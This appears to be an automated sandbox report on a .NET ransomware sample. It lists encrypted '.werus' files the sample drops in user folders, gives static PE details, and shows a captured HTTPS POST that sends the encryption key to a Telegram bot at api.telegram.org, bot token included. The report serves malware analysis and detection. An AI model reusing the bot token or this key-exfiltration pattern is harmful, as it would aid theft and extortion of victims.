SHA-256:	9419754342875F0997098466FE111A1448BC51BC592E8F635A61CA79F0700CF5
SHA-512:	D40F646F2CD0C5D4A043547B9FB66BBBB97CE43D33B8476ACC39553B717C23D556D37FFF82CC566A8BE4D1A9587D40909F7714ADDFC9546CE93CB99BFBDB464C
Malicious:	false
Preview:	..,n]}3.....b?T..T.m>]Uw...3^.f(......{9.....HW.RY9...K.o.8..........C.A.sx'.F. .e{...DU...c...7.k.....r6bc....x.......==.:4.?.E...).B..X.c..2......yNt+^...D$.UJ....n......./......`......D.n.H.....Y.A../S.\...N..T.r.:...H...m...........@vR#.y;v.x.p..M........b&l....$FW..k.7...\.+.{..)?g..S..P..S..5......P.Ivw.d..<....l.2P..zz.D..........-.>f..U....H..B......L...._...,...BP...d.E.]...E..U.,.P....ge._...].\.4m..3...,.+X&.+KZ...M.;.... ...Ij..J/o..\..M.X6d...1.dc[.7..a...Z./......~E.>

C:\Users\user\Music\desktop.ini.werus.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	528
Entropy (8bit):	7.604153811121085
Encrypted:	false
SSDEEP:	12:z9jKN6DcP62xtV31/PF6fnFQ+Nf5r8qeNgt3woa/T4Pu9nTEJ8X4C:z1c66xxj31/U+yfFcgtAo242FTEs
MD5:	1D2614A4E761ADF20037F716EDBB46A3
SHA1:	51C3805557F2047DA77663D3E7C4BEFC75D514EE
SHA-256:	5A7C4145F35F4EA01241CE6B5AE71249AE6D95F33C31AC9393CA45EF495BC1B3
SHA-512:	796ED2032965DA4F62A51EEDEA330F4B28E13D086103AF6112879FF6CEDB1CD894DC20EE3A0FE0CF45632357AE80DF4C527C6D78620063CB05256B8D775407F0
Malicious:	false
Preview:	...{W....-.......j2.M.R-.^.pcD.@... 4w0..^PQ.R....a1.57....w.y......$.....Xl../B.6.AB).o$d.f.L.\-..Q..D.....<..<u.....5.<~...[..o.W_..p........Ar..\a..r..L.!..L.t.->.m!.R...mR...r)...j....c..D..1.....uuN.....v...{.Ck3<O.W>'/Ox.v.3...xM..9,..O...j..".H....X.{+..>.q.piM......Snx.z..{...Q.V.E.....v...C..B.~.(Sr1kv..R.N......?.....L.=...8]....j.R.%.6n...x..i.[....:$.Kz...>2..[Z.u........(..e...5...i.$..i.T...N-YY.....Y.GR....>NW.B.G....4.m/.L.>.f...)<........"........T.....u.Q...sv_..(.....{..F.....*D..

C:\Users\user\Pictures\Camera Roll\desktop.ini.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	6.934993815723921
Encrypted:	false
SSDEEP:	3:uoTiz6sbbwQ+29aDOf26yJeWFSJDeJu3R85QXHuVba4ykAjxz791tduXLwWQsz:TQ6VB292DZUSsxXcbahkAjr1DlXg
MD5:	CB0D13055762261F70A5506B47F13DB3
SHA1:	A35A544958E60F6B1EC31F8E5C537C676C1479EA
SHA-256:	4CAEBECC6AD221560EA42A59BCBD4C9D128A43266E9EBB67EECB5A96FAC218F5
SHA-512:	04E1FCE9F2B80228491BD725B300710C446AA112F3A5A1ED202F00B04E9AB37350CACD77A0AF3CD8686F0733105D2EBB2DF864AD17FD92B49FB949B97CD4DCF2
Malicious:	false
Preview:	..,n]}3.....b?T..T.m>]Uw...3^.f(......{9.....HW.RY9...K.o.8..........C.A.sx'.F. .e{...DU...c...7.k.....r6bc....x.......=...3.+...h.....{2..2,.T...s...l.`9.}..<...!fE.5...S {2.U.u.U#

C:\Users\user\Pictures\Camera Roll\desktop.ini.werus.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	208
Entropy (8bit):	6.972923792504296
Encrypted:	false
SSDEEP:	6:ygbZ5BBsN6YShdcP62PJ4gVzq/owvnU9AJsAma3HuTLvD:z9jKN6DcP62xtVmFPbJ54vD
MD5:	3FAF7847F24A1CB86E8D8EAFCD8ED762
SHA1:	692E100696E105EA90DF208C37108668E7428009
SHA-256:	6C4DE22CEE29985FD7C55EE613516896C2134A64EAD54D5538A022AB7C10E21F
SHA-512:	70CA2A1CEA5E36928D65B7A924075F7E4C614638BD4572C6F333D066AD8E30B4C826E7BF0F41D7669475962D1F066B5EB4AFF16EA0000C50568E208BCEAFF2FB
Malicious:	false
Preview:	...{W....-.......j2.M.R-.^.pcD.@... 4w0..^PQ.R....a1.57....w.y......$.....Xl../B.6.AB).o$d.f.L.\-..Q..D.....<..<u.....5.........x...........u.y.,6...U.h...!.(cO.;.T.p.L.../u.P...x.8.d.U0.~/w...01.

C:\Users\user\Pictures\Saved Pictures\desktop.ini.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	6.949342188131023
Encrypted:	false
SSDEEP:	3:uoTiz6sbbwQ+29aDOf26yJeWFSJDeJu3R85QXHuVba4ykAjxz791tO2+n:TQ6VB292DZUSsxXcbahkAjr1Un
MD5:	C3927DEEDC1B287912737B34766B5B5F
SHA1:	2814DFB0BF26774BACD3B27210B74333FE73F526
SHA-256:	945650149FC093CC579A1B3D294AAC9F0D71FE24292A6115D160CC97817C8B2F
SHA-512:	FED95D36020A25E0ED0B813B8D60D97DFFF4576D2B2C29D24B8ED2060E024715067AE9791A5EDF66B24C9278AA7B8CA5D2FE87DB4550C5115FDB1D44E69BF277
Malicious:	false
Preview:	..,n]}3.....b?T..T.m>]Uw...3^.f(......{9.....HW.RY9...K.o.8..........C.A.sx'.F. .e{...DU...c...7.k.....r6bc....x.......=...3.+...h.....{2..2,.T...s...l.`9.}..<...!fE..\...C..?...C..

C:\Users\user\Pictures\Saved Pictures\desktop.ini.werus.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	208
Entropy (8bit):	7.041503900708576
Encrypted:	false
SSDEEP:	6:ygbZ5BBsN6YShdcP62PJ4gVzq/owvnU9AJsAma3wUSMn:z9jKN6DcP62xtVmFPbJ2USMn
MD5:	9C1FAA547B482C45B8126CCE8E871955
SHA1:	892357DBA81408990B6A011BB31EE5385797241B
SHA-256:	E5D0B46E86DCC13C8D00FE0EE834512E8B62283FB1028134C59F3C3C1BF32727
SHA-512:	277DD4D14878600A0FD986323470A6B265059497FD97520D98D1FC68AD5B69C9DE207DE24F987FA0A238D3F8EF8FB31F99F1D460A33C5D23905D6738A3DFDF7C
Malicious:	false
Preview:	...{W....-.......j2.M.R-.^.pcD.@... 4w0..^PQ.R....a1.57....w.y......$.....Xl../B.6.AB).o$d.f.L.\-..Q..D.....<..<u.....5.........x...........u.y.,6...U.h...!.(cO.;.T..=.E:.g}..J.ep....m..&.+&y...

C:\Users\user\Pictures\desktop.ini.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	7.592863685887784
Encrypted:	false
SSDEEP:	12:TQ6r292DZFWXqmng0bwP9JRK9ySdo4555W6am62CzOyTm:86C9eZFWaqgIwPRSH5U6am62CyyS
MD5:	7ABA4EE9B1E514B66A5D8B18F9DE54B2
SHA1:	4DA216C50859EEF66B65B6763A0DF2EF59D0D05C
SHA-256:	EC57E8B092B5F2D42CB0DE3A956423BA15DA8230572AB51D9790D396B3CC37F4
SHA-512:	1882A5FD89A6CD36B2692CD339C303B2DD179F338321C96C3F3FD2EB412463C8355EB5BD770C307ED9A46CEB2A1C9CC226BD430CE6F6148BFD8AFA56A14F963B
Malicious:	false
Preview:	..,n]}3.....b?T..T.m>]Uw...3^.f(......{9.....HW.RY9...K.o.8..........C.A.sx'.F. .e{...DU...c...7.k.....r6bc....x.......==.:4.?.E...).B..X.c..2......yN.L.W..[..4.9j{l.q...'..&.....X.,J.!.c+].~.....u..). ...!..q.r........{..]....q...d...z..w\|.... ...e.&..^H1.JbU..;..zL.. .rmL....U./......`.........W+..s.L...o.bOY..Y...B-..&...%.n.W... ....bA-IF......[.xo..b......I<..l..'....+.).b....`<_..:..<.S..8En......d).h...<V.\|.....`_..UtJ.M#Nm...v-.B...0...L......@1...("wI.......v.H..nZ..u..

C:\Users\user\Pictures\desktop.ini.werus.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	528
Entropy (8bit):	7.647817606409897
Encrypted:	false
SSDEEP:	12:z9jKN6DcP62xtV31/5ExNypNRJQWqXTG3DNvDLaj/+hFwyC0C:z1c66xxj31/5Ex4prJYX+DNKj/MFHvC
MD5:	A38056E4B1526E525C38832CD3EE31D1
SHA1:	674AD8690E61DB079460720610D6F7FF0E33BC34
SHA-256:	F8D5E52E8CEF1EDF8F4C2089276A95C5BECB354CB18DD1695A932BECF0BC7832
SHA-512:	EDB9EAE67664E580BA5691E3B0DE595E0609C0D4FD95968D85E36B269040865CCB26260CF8019D47F80A90A795B8C97A6157EDAE210699539B7F61373126CCB9
Malicious:	false
Preview:	...{W....-.......j2.M.R-.^.pcD.@... 4w0..^PQ.R....a1.57....w.y......$.....Xl../B.6.AB).o$d.f.L.\-..Q..D.....<..<u.....5.<~...[..o.W_..p........Ar..\a..T.1.B.w.:...\.....Q.......>...i......M.....I3(.....4...$.h..fsy2.bO..EY..:...6.y.).........O.....E...z..u{.p.O..,.m..<nExa;.f.k7.`J.....F:...4..e8.,..,.J!\|.....j.O....i....7"q...I}...b..`........c.....&.#.`..-..}.d...`GhUe....gWw....7h.G..Z.r.........y.. )./.F.o.`...._.,U.R...?4....(t....i...B$..Q.+.Eq..{.NPWK.......%...hm../.6.?..#U..Y.z..g].

C:\Users\user\Videos\desktop.ini.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	7.584516488892929
Encrypted:	false
SSDEEP:	12:TQ6r292DZFWXqm3U6n+xf0B7aspcYahl+exh9xO76kpI1:86C9eZFWac7n+pMmsy3h8exh9xuo
MD5:	E78ABA8893DCC54E4CE63AFA775726B6
SHA1:	4E9A3CE45F7C0930A7A285071D16C91CAE92AD23
SHA-256:	AD688ED24A8931501C80C6BB5A7CBC6980F96C5DF453796B0A41ED343F34FF0C
SHA-512:	A06F688F5B6F2EF62A3FEA7D66D6D84635AD9B4CAE1CB53FDE3C3393158F5876A7163DF3F122EDC43A62D864C78DF3D136347F29784DE5ADAB38241DC1E4AD11
Malicious:	false
Preview:	..,n]}3.....b?T..T.m>]Uw...3^.f(......{9.....HW.RY9...K.o.8..........C.A.sx'.F. .e{...DU...c...7.k.....r6bc....x.......==.:4.?.E...).B..X.c..2......yN.h2.....l~J....EZ~$..Lm._..y.;.-mE@Q.^U...t....Q...$..m.h"A!NWS...j)6m3..y{H.,......X..Rf"......GG..\|.Q.....1.v.W.P.l:..!vo$.....%...Nj.E".e...;....693..w....(......IA.....w.....?./..$l..;.R...QT..O..^.qq..T.LW.....'3M..8.R\|...(..S...u*.UQ=..R.&y....MM.4y...AM9.+.zF....z..nv.b.to.K\......F..R...&4.,3....X.`....7R...._......m.......lm..

C:\Users\user\Videos\desktop.ini.werus.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	528
Entropy (8bit):	7.629379467217642
Encrypted:	false
SSDEEP:	12:z9jKN6DcP62xtV31/HhOY9rWSO0H9VR10EwaoeVbQ:z1c66xxj31/h5O0H9noeVbQ
MD5:	3952BC7A3EB173E26723BDB46D85C621
SHA1:	A98BBE85D9F937489C01DB6BFC4855AEC941A5E5
SHA-256:	928AF87B4658896AD7B4CD9213305912417052FFD2FF564E42A64C438932442A
SHA-512:	32096687514585403E7B4E448076B1C7B6C6A9108846D72915FC1DF09CFB697275D0B385C8E1EB11A406A6DC21BC0E1667BCEE89FE6CA0992E2CF300AE70F040
Malicious:	false
Preview:	...{W....-.......j2.M.R-.^.pcD.@... 4w0..^PQ.R....a1.57....w.y......$.....Xl../B.6.AB).o$d.f.L.\-..Q..D.....<..<u.....5.<~...[..o.W_..p........Ar..\a.. .>..#.....%..`.....ru...2.....T.S.E.....~..~..=...~p..v......0.....q-.p>.{......^...+..8#~..\.H....VoR.\|RnL..p..a}..........y..L/..L....;.ex.....E.M~....H?.. $..e..h....\|N/c.$4Z..&....2..&...{..b@.......Rf...........$...<..d.rT.l....T....^..{.6Q.$.8?.X..Om.X.....".*...z.k..q`.t..~_>A.J..i{....b..'O.r.(zw.<...o.....[3V'.K..i..S/$..\|..?/.yE.~.{M...

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	5.366753158427188
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	aASfOObWpW.exe
File size:	17'920 bytes
MD5:	0e1cbce00abf322c5e98afb2e6c46998
SHA1:	6b8da7d766f60543b56c51c71e942a3f61c74cf2
SHA256:	e17bfe60dea579699f67bd70e7e49aba582f5ff2337ca38d78dba650edd5ba3d
SHA512:	84a3affe519ee98529d0a83c320457fb575d9dbe39a8ec9b215a2a6cffc0140b3f1bfce85f529632a05d39fac5acaa227ea508661e73d2513ea44a7dfcbbaf0f
SSDEEP:	384:Rb6E0oXQ0uZ9QuxdMhNLfDLTRFPB31PQQBLRLyEWVdbrlHswr9p:ROG/ujWvXD71F8vlHpr9p
TLSH:	59823B1CB3F8872AE57E0B799D7292510F31B527E822FB0E6AC8654E1D93B8045613B7
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....y..........."...0..<...........Z... ...`....@.. ....................................`................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x405aaa
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0xC3791C1C [Sun Dec 3 02:36:12 2073 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5a55	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x6000	0x5ec	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x8000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x59a8	0x38	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x3ab0	0x3c00	8002b4e7eef94a088f3aa259676663ef	False	0.521484375	data	5.611028129038418	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x6000	0x5ec	0x600	7c92bdff2cd9e728dcc648e7b2b68328	False	0.4251302083333333	data	4.191085287380211	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x8000	0xc	0x200	48435835bd8afa577e21fe288474965c	False	0.044921875	data	0.08153941234324169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x6090	0x35c	data			0.4116279069767442
RT_MANIFEST	0x63fc	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-15T16:43:51.274739+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.5	49706	149.154.167.220	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 15, 2025 16:43:50.154108047 CET	49706	443	192.168.2.5	149.154.167.220
Jan 15, 2025 16:43:50.154150009 CET	443	49706	149.154.167.220	192.168.2.5
Jan 15, 2025 16:43:50.154217958 CET	49706	443	192.168.2.5	149.154.167.220
Jan 15, 2025 16:43:50.207035065 CET	49706	443	192.168.2.5	149.154.167.220
Jan 15, 2025 16:43:50.207062006 CET	443	49706	149.154.167.220	192.168.2.5
Jan 15, 2025 16:43:50.972073078 CET	443	49706	149.154.167.220	192.168.2.5
Jan 15, 2025 16:43:50.972155094 CET	49706	443	192.168.2.5	149.154.167.220
Jan 15, 2025 16:43:50.978250980 CET	49706	443	192.168.2.5	149.154.167.220
Jan 15, 2025 16:43:50.978260994 CET	443	49706	149.154.167.220	192.168.2.5
Jan 15, 2025 16:43:50.978579998 CET	443	49706	149.154.167.220	192.168.2.5
Jan 15, 2025 16:43:51.029808998 CET	49706	443	192.168.2.5	149.154.167.220
Jan 15, 2025 16:43:51.039257050 CET	49706	443	192.168.2.5	149.154.167.220
Jan 15, 2025 16:43:51.083347082 CET	443	49706	149.154.167.220	192.168.2.5
Jan 15, 2025 16:43:51.274744987 CET	443	49706	149.154.167.220	192.168.2.5
Jan 15, 2025 16:43:51.279789925 CET	49706	443	192.168.2.5	149.154.167.220
Jan 15, 2025 16:43:51.279819965 CET	443	49706	149.154.167.220	192.168.2.5
Jan 15, 2025 16:43:51.281446934 CET	49706	443	192.168.2.5	149.154.167.220
Jan 15, 2025 16:43:51.281454086 CET	443	49706	149.154.167.220	192.168.2.5
Jan 15, 2025 16:43:51.281522989 CET	49706	443	192.168.2.5	149.154.167.220
Jan 15, 2025 16:43:51.281531096 CET	443	49706	149.154.167.220	192.168.2.5
Jan 15, 2025 16:43:51.281636000 CET	49706	443	192.168.2.5	149.154.167.220
Jan 15, 2025 16:43:51.281641006 CET	443	49706	149.154.167.220	192.168.2.5
Jan 15, 2025 16:43:51.281685114 CET	49706	443	192.168.2.5	149.154.167.220
Jan 15, 2025 16:43:51.281691074 CET	443	49706	149.154.167.220	192.168.2.5
Jan 15, 2025 16:43:51.281735897 CET	49706	443	192.168.2.5	149.154.167.220
Jan 15, 2025 16:43:51.281740904 CET	443	49706	149.154.167.220	192.168.2.5
Jan 15, 2025 16:43:51.282329082 CET	49706	443	192.168.2.5	149.154.167.220
Jan 15, 2025 16:43:51.282334089 CET	443	49706	149.154.167.220	192.168.2.5
Jan 15, 2025 16:43:51.288219929 CET	49706	443	192.168.2.5	149.154.167.220
Jan 15, 2025 16:43:51.288227081 CET	443	49706	149.154.167.220	192.168.2.5
Jan 15, 2025 16:43:52.125159025 CET	443	49706	149.154.167.220	192.168.2.5
Jan 15, 2025 16:43:52.125297070 CET	443	49706	149.154.167.220	192.168.2.5
Jan 15, 2025 16:43:52.125354052 CET	49706	443	192.168.2.5	149.154.167.220
Jan 15, 2025 16:43:52.136946917 CET	49706	443	192.168.2.5	149.154.167.220
Jan 15, 2025 16:44:32.431128979 CET	57140	53	192.168.2.5	162.159.36.2
Jan 15, 2025 16:44:32.435986042 CET	53	57140	162.159.36.2	192.168.2.5
Jan 15, 2025 16:44:32.436136961 CET	57140	53	192.168.2.5	162.159.36.2
Jan 15, 2025 16:44:32.441211939 CET	53	57140	162.159.36.2	192.168.2.5
Jan 15, 2025 16:44:32.936073065 CET	57140	53	192.168.2.5	162.159.36.2
Jan 15, 2025 16:44:33.017466068 CET	57140	53	192.168.2.5	162.159.36.2
Jan 15, 2025 16:44:33.022516012 CET	53	57140	162.159.36.2	192.168.2.5
Jan 15, 2025 16:44:33.022574902 CET	57140	53	192.168.2.5	162.159.36.2

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 15, 2025 16:43:50.133979082 CET	62768	53	192.168.2.5	1.1.1.1
Jan 15, 2025 16:43:50.140734911 CET	53	62768	1.1.1.1	192.168.2.5
Jan 15, 2025 16:44:32.427997112 CET	53	57809	162.159.36.2	192.168.2.5
Jan 15, 2025 16:44:33.041347980 CET	53	64290	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 15, 2025 16:43:50.133979082 CET	192.168.2.5	1.1.1.1	0x45e8	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 15, 2025 16:43:50.140734911 CET	1.1.1.1	192.168.2.5	0x45e8	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.telegram.org

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49706	149.154.167.220	443	2968	C:\Users\user\Desktop\aASfOObWpW.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 15:43:51 UTC	256	OUT	POST /bot7277798486:AAEyKmvjnINtyS8uzKbaNK-Qn4l4o-hjPqY/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary="0348f9a9-42f6-405f-b988-7805a3bc3082" Host: api.telegram.org Content-Length: 671 Expect: 100-continue Connection: Keep-Alive
2025-01-15 15:43:51 UTC	25	IN	HTTP/1.1 100 Continue
2025-01-15 15:43:51 UTC	40	OUT	Data Raw: 2d 2d 30 33 34 38 66 39 61 39 2d 34 32 66 36 2d 34 30 35 66 2d 62 39 38 38 2d 37 38 30 35 61 33 62 63 33 30 38 32 0d 0a Data Ascii: --0348f9a9-42f6-405f-b988-7805a3bc3082
2025-01-15 15:43:51 UTC	89	OUT	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 63 68 61 74 5f 69 64 0d 0a 0d 0a Data Ascii: Content-Type: text/plain; charset=utf-8Content-Disposition: form-data; name=chat_id
2025-01-15 15:43:51 UTC	10	OUT	Data Raw: 36 36 32 30 36 37 30 30 33 38 Data Ascii: 6620670038
2025-01-15 15:43:51 UTC	128	OUT	Data Raw: 0d 0a 2d 2d 30 33 34 38 66 39 61 39 2d 34 32 66 36 2d 34 30 35 66 2d 62 39 38 38 2d 37 38 30 35 61 33 62 63 33 30 38 32 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 74 65 78 74 0d 0a 0d 0a Data Ascii: --0348f9a9-42f6-405f-b988-7805a3bc3082Content-Type: text/plain; charset=utf-8Content-Disposition: form-data; name=text
2025-01-15 15:43:51 UTC	70	OUT	Data Raw: 48 65 72 65 20 69 73 20 74 68 65 20 65 6e 63 72 79 70 74 69 6f 6e 20 6b 65 79 20 28 49 44 3a 20 37 34 30 38 35 66 62 35 2d 64 64 32 30 2d 34 31 32 30 2d 61 39 62 31 2d 34 61 39 65 64 63 64 61 31 33 61 39 29 3a Data Ascii: Here is the encryption key (ID: 74085fb5-dd20-4120-a9b1-4a9edcda13a9):
2025-01-15 15:43:51 UTC	209	OUT	Data Raw: 0d 0a 2d 2d 30 33 34 38 66 39 61 39 2d 34 32 66 36 2d 34 30 35 66 2d 62 39 38 38 2d 37 38 30 35 61 33 62 63 33 30 38 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 64 6f 63 75 6d 65 6e 74 3b 20 66 69 6c 65 6e 61 6d 65 3d 6b 65 79 5f 37 34 30 38 35 66 62 35 2d 64 64 32 30 2d 34 31 32 30 2d 61 39 62 31 2d 34 61 39 65 64 63 64 61 31 33 61 39 2e 70 77 64 3b 20 66 69 6c 65 6e 61 6d 65 2a 3d 75 74 66 2d 38 27 27 6b 65 79 5f 37 34 30 38 35 66 62 35 2d 64 64 32 30 2d 34 31 32 30 2d 61 39 62 31 2d 34 61 39 65 64 63 64 61 31 33 61 39 2e 70 77 64 0d 0a 0d 0a Data Ascii: --0348f9a9-42f6-405f-b988-7805a3bc3082Content-Disposition: form-data; name=document; filename=key_74085fb5-dd20-4120-a9b1-4a9edcda13a9.pwd; filename*=utf-8''key_74085fb5-dd20-4120-a9b1-4a9edcda13a9.pwd
2025-01-15 15:43:51 UTC	81	OUT	Data Raw: 31 31 66 38 37 33 34 31 2d 61 66 64 33 2d 34 32 33 39 2d 39 34 36 36 2d 61 30 61 39 32 61 64 62 31 38 62 31 2d 79 2b 52 73 45 75 67 72 65 33 69 41 43 64 69 39 6d 6e 78 4f 39 55 31 59 70 74 2b 73 44 6d 5a 69 34 39 59 74 6c 62 6a 46 62 30 73 3d Data Ascii: 11f87341-afd3-4239-9466-a0a92adb18b1-y+RsEugre3iACdi9mnxO9U1Ypt+sDmZi49YtlbjFb0s=
2025-01-15 15:43:51 UTC	44	OUT	Data Raw: 0d 0a 2d 2d 30 33 34 38 66 39 61 39 2d 34 32 66 36 2d 34 30 35 66 2d 62 39 38 38 2d 37 38 30 35 61 33 62 63 33 30 38 32 2d 2d 0d 0a Data Ascii: --0348f9a9-42f6-405f-b988-7805a3bc3082--
